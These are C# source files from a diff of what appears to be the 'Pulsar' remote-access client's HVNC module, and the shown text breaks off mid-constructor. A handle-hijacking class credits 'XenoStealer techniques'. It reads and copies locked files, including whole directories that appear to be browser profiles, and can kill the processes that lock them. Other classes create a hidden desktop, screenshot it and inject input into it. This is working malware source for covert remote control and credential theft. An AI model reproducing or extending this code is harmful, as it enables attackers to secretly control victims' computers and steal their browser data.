namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Advanced file reading using handle hijacking and memory mapping
/// Based on XenoStealer techniques - reads locked files without killing processes
/// </summary>
internal static class HandleHijacker
{
#region Native Structures
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
public IntPtr Object;
public IntPtr UniqueProcessId;
public IntPtr HandleValue;
public uint GrantedAccess;
public ushort CreatorBackTraceIndex;
public ushort ObjectTypeIndex;
public uint HandleAttributes;
public uint Reserved;
}
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_HANDLE_INFORMATION_EX
{
public IntPtr NumberOfHandles;
public IntPtr Reserved;
// Handles follow after this
}
private enum SYSTEM_INFORMATION_CLASS
{
SystemExtendedHandleInformation = 64
}
private enum FileType : uint
{
FILE_TYPE_UNKNOWN = 0x0000,
FILE_TYPE_DISK = 0x0001,
FILE_TYPE_CHAR = 0x0002,
FILE_TYPE_PIPE = 0x0003
}
[StructLayout(LayoutKind.Sequential)]
private struct RM_UNIQUE_PROCESS
{
public uint dwProcessId;
public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct RM_PROCESS_INFO
{
public RM_UNIQUE_PROCESS Process;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
public string strAppName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
public string strServiceShortName;
public uint ApplicationType;
public uint AppStatus;
public uint TSSessionId;
[MarshalAs(UnmanagedType.Bool)]
public bool bRestartable;
}
private enum RM_REBOOT_REASON
{
RmRebootReasonNone = 0x0,
RmRebootReasonPermissionDenied = 0x1,
RmRebootReasonSessionMismatch = 0x2,
RmRebootReasonCriticalProcess = 0x4,
RmRebootReasonCriticalService = 0x8,
RmRebootReasonDetectedSelf = 0x10
}
#endregion
#region Native Methods
[DllImport("ntdll.dll")]
private static extern uint NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
IntPtr SystemInformation,
uint SystemInformationLength,
out uint ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
uint dwDesiredAccess,
bool bInheritHandle,
uint dwOptions);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern FileType GetFileType(IntPtr hFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern uint GetFinalPathNameByHandleW(
IntPtr hFile,
StringBuilder lpszFilePath,
uint cchFilePath,
uint dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern IntPtr CreateFileMappingA(
IntPtr hFile,
IntPtr lpFileMappingAttributes,
uint flProtect,
uint dwMaximumSizeHigh,
uint dwMaximumSizeLow,
string lpName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetFileSizeEx(IntPtr hFile, out ulong lpFileSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr MapViewOfFile(
IntPtr hFileMappingObject,
uint dwDesiredAccess,
uint dwFileOffsetHigh,
uint dwFileOffsetLow,
UIntPtr dwNumberOfBytesToMap);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
private static extern int RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey);
[DllImport("rstrtmgr.dll")]
private static extern int RmEndSession(uint pSessionHandle);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
private static extern int RmRegisterResources(
uint pSessionHandle,
uint nFiles,
string[] rgsFilenames,
uint nApplications,
RM_UNIQUE_PROCESS[] rgApplications,
uint nServices,
string[] rgsServiceNames);
[DllImport("rstrtmgr.dll")]
private static extern int RmGetList(
uint dwSessionHandle,
out uint pnProcInfoNeeded,
ref uint pnProcInfo,
[In, Out] RM_PROCESS_INFO[] rgAffectedApps,
out RM_REBOOT_REASON lpdwRebootReasons);
#endregion
#region Constants
private const uint PROCESS_DUP_HANDLE = 0x0040;
private const uint DUPLICATE_SAME_ACCESS = 0x00000002;
private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
private const uint PAGE_READONLY = 0x02;
private const uint FILE_MAP_READ = 0x04;
private const uint FILE_NAME_NORMALIZED = 0x0;
private const uint ERROR_MORE_DATA = 0xEA;
#endregion
/// <summary>
/// Safely closes a handle, ignoring exceptions from pseudo-handles or invalid handles
/// </summary>
private static void SafeCloseHandle(IntPtr handle)
{
if (handle == IntPtr.Zero || handle == new IntPtr(-1))
return;
try
{
CloseHandle(handle);
}
catch
{
// Some handles (like pseudo-handles) throw exceptions when closed
// This is expected and can be safely ignored
}
}
/// <summary>
/// Forces reading a file even if it's locked by another process
/// Uses handle hijacking and memory mapping
/// </summary>
public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfFailed = false)
{
// First try normal read
try
{
return File.ReadAllBytes(filePath);
}
catch (Exception e)
{
// -2147024864 is the HRESULT for file being used by another process
if (e.HResult != -2147024864)
{
return null;
}
}
Debug.WriteLine($"[HandleHijacker] File locked: {filePath}");
Debug.WriteLine("[HandleHijacker] Attempting handle hijacking...");
bool hasPids = GetProcessesLockingFile(filePath, out int[] lockingProcesses);
IntPtr pInfo = IntPtr.Zero;
try
{
uint dwSize = 0;
uint status;
int handleStructSize = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));
pInfo = Marshal.AllocHGlobal(handleStructSize);
do
{
status = NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation,
pInfo,
dwSize,
out dwSize);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize);
}
} while (status != 0);
IntPtr pInfoBackup = pInfo;
ulong numOfHandles = (ulong)Marshal.ReadIntPtr(pInfo);
pInfo += 2 * IntPtr.Size;
Debug.WriteLine($"[HandleHijacker] Scanning {numOfHandles} handles...");
byte[] result = null;
for (ulong i = 0; i < numOfHandles; i++)
{
IntPtr handlePtr = pInfo + (int)(i * (uint)handleStructSize);
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo =
Marshal.PtrToStructure<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(handlePtr);
if (hasPids && !Array.Exists(lockingProcesses, pid => pid == (int)(uint)handleInfo.UniqueProcessId))
{
continue;
}
// dupe handle
if (DuplicateHandleFromProcess(
(int)handleInfo.UniqueProcessId,
handleInfo.HandleValue,
out IntPtr duppedHandle))
{
try
{
if (GetFileType(duppedHandle) != FileType.FILE_TYPE_DISK)
{
SafeCloseHandle(duppedHandle);
continue;
}
string handlePath = GetPathFromHandle(duppedHandle);
if (handlePath == null)
{
SafeCloseHandle(duppedHandle);
continue;
}
if (handlePath.StartsWith("\\\\?\\"))
{
handlePath = handlePath.Substring(4);
}
if (string.Equals(handlePath, filePath, StringComparison.OrdinalIgnoreCase))
{
Debug.WriteLine($"[HandleHijacker] Found matching handle from PID {handleInfo.UniqueProcessId}");
result = ReadFileBytesFromHandle(duppedHandle);
SafeCloseHandle(duppedHandle);
if (result != null)
{
Debug.WriteLine($"[HandleHijacker] Successfully read {result.Length} bytes");
break;
}
}
SafeCloseHandle(duppedHandle);
}
catch
{
SafeCloseHandle(duppedHandle);
}
}
}
Marshal.FreeHGlobal(pInfoBackup);
if (result == null && killOwningProcessIfFailed && lockingProcesses != null)
{
Debug.WriteLine($"[HandleHijacker] Handle hijacking failed for '{filePath}', killing locking processes...");
foreach (var pid in lockingProcesses)
{
try
{
var proc = Process.GetProcessById(pid);
Debug.WriteLine($"[HandleHijacker] Killing process PID {pid} ({proc.ProcessName})");
proc.Kill();
}
catch { }
}
System.Threading.Thread.Sleep(100);
try
{
result = File.ReadAllBytes(filePath);
Debug.WriteLine("[HandleHijacker] Successfully read after killing processes");
}
catch { }
}
return result;
}
finally
{
if (pInfo != IntPtr.Zero)
{
try { Marshal.FreeHGlobal(pInfo); } catch { }
}
}
}
/// <summary>
/// Copies a locked file using handle hijacking
/// </summary>
public static bool ForceCopyFile(string sourcePath, string destinationPath, bool killIfFailed = false)
{
bool hijacked = FileHandlerXeno.CloneFileByHandleHijacking(sourcePath, destinationPath);
if (hijacked && ValidateFileCopy(sourcePath, destinationPath))
{
return true;
}
byte[] fileData = ForceReadFile(sourcePath, killIfFailed);
if (fileData == null)
{
return false;
}
try
{
File.WriteAllBytes(destinationPath, fileData);
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Failed to write file '{destinationPath}': {ex.Message}");
return false;
}
if (!ValidateFileCopy(sourcePath, destinationPath))
{
Debug.WriteLine($"[HandleHijacker] Validation failed after writing '{destinationPath}'.");
try
{
if (File.Exists(destinationPath))
{
File.Delete(destinationPath);
}
}
catch { }
return false;
}
return true;
}
private static bool DuplicateHandleFromProcess(int sourceProcessId, IntPtr sourceHandle, out IntPtr targetHandle)
{
targetHandle = IntPtr.Zero;
IntPtr procHandle = OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProcessId);
if (procHandle == IntPtr.Zero)
{
return false;
}
IntPtr newHandle = IntPtr.Zero;
bool success = DuplicateHandle(
procHandle,
sourceHandle,
GetCurrentProcess(),
ref newHandle,
0,
false,
DUPLICATE_SAME_ACCESS);
CloseHandle(procHandle);
if (success && newHandle != IntPtr.Zero)
{
targetHandle = newHandle;
return true;
}
return false;
}
private static string GetPathFromHandle(IntPtr fileHandle)
{
StringBuilder fileNameBuilder = new StringBuilder(32767 + 2);
uint pathLen = GetFinalPathNameByHandleW(
fileHandle,
fileNameBuilder,
(uint)fileNameBuilder.Capacity,
FILE_NAME_NORMALIZED);
if (pathLen == 0)
{
return null;
}
return fileNameBuilder.ToString(0, (int)pathLen);
}
private static byte[] ReadFileBytesFromHandle(IntPtr handle)
{
IntPtr fileMapping = CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
if (fileMapping == IntPtr.Zero)
{
return null;
}
try
{
if (!GetFileSizeEx(handle, out ulong fileSize))
{
return null;
}
if (fileSize == 0)
{
return new byte[0];
}
IntPtr baseAddress = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize);
if (baseAddress == IntPtr.Zero)
{
return null;
}
try
{
byte[] fileData = new byte[fileSize];
Marshal.Copy(baseAddress, fileData, 0, (int)fileSize);
return fileData;
}
finally
{
UnmapViewOfFile(baseAddress);
}
}
finally
{
CloseHandle(fileMapping);
}
}
private static bool GetProcessesLockingFile(string filePath, out int[] processes)
{
processes = null;
string sessionKey = Guid.NewGuid().ToString();
if (RmStartSession(out uint sessionHandle, 0, sessionKey) != 0)
{
return false;
}
try
{
string[] resources = new string[] { filePath };
if (RmRegisterResources(sessionHandle, (uint)resources.Length, resources, 0, null, 0, null) != 0)
{
return false;
}
uint nProcInfo = 0;
int status = RmGetList(sessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out _);
if (status != ERROR_MORE_DATA)
{
processes = new int[0];
return true;
}
RM_PROCESS_INFO[] affectedApps = new RM_PROCESS_INFO[nProcInfoNeeded];
nProcInfo = nProcInfoNeeded;
status = RmGetList(sessionHandle, out nProcInfoNeeded, ref nProcInfo, affectedApps, out _);
if (status == 0)
{
processes = new int[affectedApps.Length];
for (int i = 0; i < affectedApps.Length; i++)
{
processes[i] = (int)affectedApps[i].Process.dwProcessId;
}
return true;
}
return false;
}
finally
{
RmEndSession(sessionHandle);
}
}
/// <summary>
/// Copies an entire directory using handle hijacking for locked files
/// </summary>
public static bool ForceCopyDirectory(string sourceDir, string destDir, bool killIfFailed = false, IProgress<BrowserCloneProgress> progress = null, CancellationToken cancellationToken = default)
{
try
{
if (!Directory.Exists(sourceDir))
{
return false;
}
Directory.CreateDirectory(destDir);
var directories = new List<string>();
foreach (string directory in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
{
cancellationToken.ThrowIfCancellationRequested();
directories.Add(directory);
}
foreach (string directory in directories)
{
cancellationToken.ThrowIfCancellationRequested();
string relativeDir = directory.Substring(sourceDir.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string targetDir = string.IsNullOrEmpty(relativeDir)
? destDir
: Path.Combine(destDir, relativeDir);
Directory.CreateDirectory(targetDir);
}
var files = new List<string>();
foreach (string file in Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories))
{
cancellationToken.ThrowIfCancellationRequested();
files.Add(file);
}
int totalFiles = files.Count;
int processed = 0;
bool allFilesCopied = true;
progress?.Report(new BrowserCloneProgress(0, totalFiles, string.Empty, totalFiles == 0));
foreach (string file in files)
{
cancellationToken.ThrowIfCancellationRequested();
string relativePath = file.Substring(sourceDir.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string destFile = Path.Combine(destDir, relativePath);
string destFileDirectory = Path.GetDirectoryName(destFile);
if (!string.IsNullOrEmpty(destFileDirectory))
{
Directory.CreateDirectory(destFileDirectory);
}
bool copied = TryCopyFileWithValidation(file, destFile, killIfFailed);
if (!copied)
{
Debug.WriteLine($"[HandleHijacker] Failed to copy '{file}' to '{destFile}'.");
allFilesCopied = false;
}
processed++;
progress?.Report(new BrowserCloneProgress(processed, totalFiles, relativePath));
}
progress?.Report(new BrowserCloneProgress(totalFiles, totalFiles, string.Empty));
return allFilesCopied;
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Error copying directory: {ex.Message}");
return false;
}
}
private static bool TryCopyFileWithValidation(string sourcePath, string destinationPath, bool killIfFailed)
{
try
{
File.Copy(sourcePath, destinationPath, true);
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Standard copy failed for '{sourcePath}': {ex.Message}");
}
if (ValidateFileCopy(sourcePath, destinationPath))
{
return true;
}
if (!ForceCopyFile(sourcePath, destinationPath, killIfFailed))
{
return false;
}
return ValidateFileCopy(sourcePath, destinationPath);
}
private static bool ValidateFileCopy(string sourcePath, string destinationPath)
{
try
{
if (!File.Exists(sourcePath) || !File.Exists(destinationPath))
{
return false;
}
var sourceInfo = new FileInfo(sourcePath);
var destInfo = new FileInfo(destinationPath);
if (sourceInfo.Length != destInfo.Length)
{
return false;
}
MirrorFileMetadata(sourceInfo, destInfo);
return true;
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Failed to validate copy '{sourcePath}' -> '{destinationPath}': {ex.Message}");
return false;
}
}
private static void MirrorFileMetadata(FileInfo sourceInfo, FileInfo destInfo)
{
try
{
File.SetAttributes(destInfo.FullName, sourceInfo.Attributes);
}
catch { }
try
{
File.SetCreationTimeUtc(destInfo.FullName, sourceInfo.CreationTimeUtc);
File.SetLastWriteTimeUtc(destInfo.FullName, sourceInfo.LastWriteTimeUtc);
File.SetLastAccessTimeUtc(destInfo.FullName, sourceInfo.LastAccessTimeUtc);
}
catch { }
}
}
}
+268
View File
@@ -0,0 +1,268 @@
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal class ImageHandler
{
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetDC(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
[DllImport("user32.dll")]
private static extern IntPtr GetTopWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
[DllImport("gdi32.dll")]
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
[DllImport("gdi32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("gdi32.dll")]
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
public ImageHandler(string DesktopName)
{
IntPtr intPtr = OpenDesktop(DesktopName, 0, true, 511U);
if (intPtr == IntPtr.Zero)
{
intPtr = CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511U, IntPtr.Zero);
}
this.Desktop = intPtr;
}
private static float GetScalingFactor()
{
float result;
using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero))
{
IntPtr hdc = graphics.GetHdc();
int deviceCaps = GetDeviceCaps(hdc, 10);
result = (float)GetDeviceCaps(hdc, 117) / (float)deviceCaps;
graphics.ReleaseHdc(hdc);
}
return result;
}
private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
bool result = false;
RECT rect;
GetWindowRect(hWnd, out rect);
// Only draw if window is within the capture area
if (rect.Right < captureArea.Left || rect.Left > captureArea.Right ||
rect.Bottom < captureArea.Top || rect.Top > captureArea.Bottom)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(DC);
IntPtr intPtr2 = CreateCompatibleBitmap(DC, (int)((float)(rect.Right - rect.Left) * scalingFactor), (int)((float)(rect.Bottom - rect.Top) * scalingFactor));
SelectObject(intPtr, intPtr2);
uint nFlags = 2U;
if (PrintWindow(hWnd, intPtr, nFlags))
{
try
{
Bitmap bitmap = Image.FromHbitmap(intPtr2);
// Adjust draw position relative to capture area
ModifiableScreen.DrawImage(bitmap, new Point(rect.Left - captureArea.Left, rect.Top - captureArea.Top));
bitmap.Dispose();
result = true;
}
catch
{
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
return result;
}
private void DrawTopDown(IntPtr owner, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
IntPtr intPtr = GetTopWindow(owner);
if (intPtr == IntPtr.Zero)
{
return;
}
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDLAST);
if (intPtr == IntPtr.Zero)
{
return;
}
while (intPtr != IntPtr.Zero)
{
this.DrawHwnd(intPtr, ModifiableScreen, DC, scalingFactor, captureArea);
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDPREV);
}
}
private void DrawHwnd(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
if (IsWindowVisible(hWnd))
{
this.DrawApplication(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
if (Environment.OSVersion.Version.Major < 6)
{
this.DrawTopDown(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
}
}
}
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
/// <summary>
/// Gets the total number of monitors available.
/// </summary>
/// <returns>The number of monitors.</returns>
public static int GetMonitorCount()
{
return Screen.AllScreens.Length;
}
/// <summary>
/// Captures the screenshot of the entire desktop (all monitors).
/// </summary>
public Bitmap Screenshot()
{
return Screenshot(-1); // -1 means capture all monitors
}
/// <summary>
/// Captures the screenshot of a specific monitor.
/// </summary>
/// <param name="monitorIndex">The index of the monitor to capture. Use -1 to capture all monitors.</param>
public Bitmap Screenshot(int monitorIndex)
{
SetThreadDesktop(this.Desktop);
IntPtr dc = GetDC(IntPtr.Zero);
Rectangle captureArea;
if (monitorIndex >= 0 && monitorIndex < Screen.AllScreens.Length)
{
// Capture specific monitor
captureArea = Screen.AllScreens[monitorIndex].Bounds;
}
else
{
// Capture all monitors (entire desktop)
RECT rect;
GetWindowRect(GetDesktopWindow(), out rect);
captureArea = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left, rect.Bottom - rect.Top);
}
float scalingFactor = GetScalingFactor();
int scaledWidth = (int)((float)captureArea.Width * scalingFactor);
int scaledHeight = (int)((float)captureArea.Height * scalingFactor);
Bitmap bitmap = new Bitmap(scaledWidth, scaledHeight);
try
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
this.DrawTopDown(IntPtr.Zero, graphics, dc, scalingFactor, captureArea);
}
}
finally
{
ReleaseDC(IntPtr.Zero, dc);
}
return bitmap;
}
public IntPtr Desktop = IntPtr.Zero;
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
private enum GetWindowType : uint
{
GW_HWNDFIRST,
GW_HWNDLAST,
GW_HWNDNEXT,
GW_HWNDPREV,
GW_OWNER,
GW_CHILD,
GW_ENABLEDPOPUP
}
private enum DeviceCap
{
VERTRES = 10,
DESKTOPVERTRES = 117
}
}
}
+749
View File
@@ -0,0 +1,749 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Handles input for the Hidden Virtual Network Computing (HVNC) feature.
/// </summary>
public class InputHandler : IDisposable
{
#region Win32 API Imports
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
private static extern IntPtr WindowFromPoint(POINT point);
[DllImport("user32.dll")]
private static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint);
[DllImport("user32.dll")]
private static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point);
[DllImport("user32.dll")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
private static extern bool PtInRect(ref RECT lprc, POINT pt);
[DllImport("user32.dll")]
private static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
[DllImport("user32.dll")]
private static extern int GetWindowLong(IntPtr hWnd, int nIndex);
[DllImport("user32.dll")]
private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
[DllImport("user32.dll")]
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
private static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt);
[DllImport("user32.dll")]
private static extern int GetMenuItemID(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
private static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType);
[DllImport("user32.dll")]
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
[DllImport("user32.dll")]
private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool IsWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
[DllImport("user32.dll")]
private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
[DllImport("user32.dll")]
private static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll")]
private static extern short GetKeyState(int nVirtKey);
[DllImport("user32.dll")]
private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
int cchBuff, uint wFlags);
[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] lpKeyState);
private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
#endregion
#region Constants
// Window style constants
private const int GWL_STYLE = -16;
private const int WS_DISABLED = 0x8000000;
// Window message constants
private const int WM_CHAR = 0x0102;
private const int WM_KEYDOWN = 0x0100;
private const int WM_KEYUP = 0x0101;
private const int WM_LBUTTONUP = 0x0202;
private const int WM_LBUTTONDOWN = 0x0201;
private const int WM_MOUSEMOVE = 0x0200;
private const int WM_CLOSE = 0x0010;
private const int WM_SYSCOMMAND = 0x0112;
private const int WM_NCHITTEST = 0x0084;
private const int WM_RBUTTONUP = 0x0205;
private const int WM_RBUTTONDOWN = 0x0204;
private const int WM_DESTROY = 0x0002;
// Mouse button constants
private const int MK_LBUTTON = 0x0001;
private const int MK_RBUTTON = 0x0002;
// System command constants
private const int SC_MINIMIZE = 0xF020;
private const int SC_RESTORE = 0xF120;
private const int SC_MAXIMIZE = 0xF030;
// Hit test area constants
private const int HTCAPTION = 2;
private const int HTTOP = 12;
private const int HTBOTTOM = 15;
private const int HTLEFT = 10;
private const int HTRIGHT = 11;
private const int HTTOPLEFT = 13;
private const int HTTOPRIGHT = 14;
private const int HTBOTTOMLEFT = 16;
private const int HTBOTTOMRIGHT = 17;
private const int HTCLOSE = 20;
private const int HTMINBUTTON = 8;
private const int HTMAXBUTTON = 9;
private const int HTTRANSPARENT = -1;
// Window enumeration constants
private const uint GW_HWNDPREV = 3;
private const uint GW_HWNDNEXT = 2;
// Miscellaneous constants
private const int VK_RETURN = 0x0D;
private const int MN_GETHMENU = 0x01E1;
private const int BM_CLICK = 0x00F5;
private const int MAX_PATH = 260;
private const int SW_SHOWMAXIMIZED = 3;
private const int SW_RESTORE = 9;
private const int VK_SHIFT = 0x10;
private const int VK_CONTROL = 0x11;
private const int VK_MENU = 0x12; // Alt key
private const int VK_LSHIFT = 0xA0;
private const int VK_RSHIFT = 0xA1;
private const int VK_LCONTROL = 0xA2;
private const int VK_RCONTROL = 0xA3;
private const int VK_LMENU = 0xA4; // Left Alt
private const int VK_RMENU = 0xA5; // Right Alt
private const int VK_CAPITAL = 0x14; // Caps Lock
#endregion
#region Fields and Properties
private readonly string desktopName;
private bool isMovingWindow = false;
private POINT lastClickCoords = new POINT { x = 0, y = 0 };
private POINT lastWindowDimensions = new POINT { x = 0, y = 0 };
private IntPtr windowToMove = IntPtr.Zero;
private IntPtr workingWindow = IntPtr.Zero;
private static readonly object syncLock = new object();
private bool isShiftPressed = false;
private bool isControlPressed = false;
private bool isAltPressed = false;
private bool isCapsLockOn = false;
/// <summary>
/// Gets the desktop handle.
/// </summary>
public IntPtr Desktop { get; private set; } = IntPtr.Zero;
#endregion
#region Constructor and Dispose
/// <summary>
/// Initializes a new instance of the <see cref="InputHandler"/> class.
/// </summary>
/// <param name="desktopName">The name of the desktop to handle input for.</param>
public InputHandler(string desktopName)
{
this.desktopName = desktopName;
IntPtr desktopHandle = OpenDesktop(desktopName, 0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
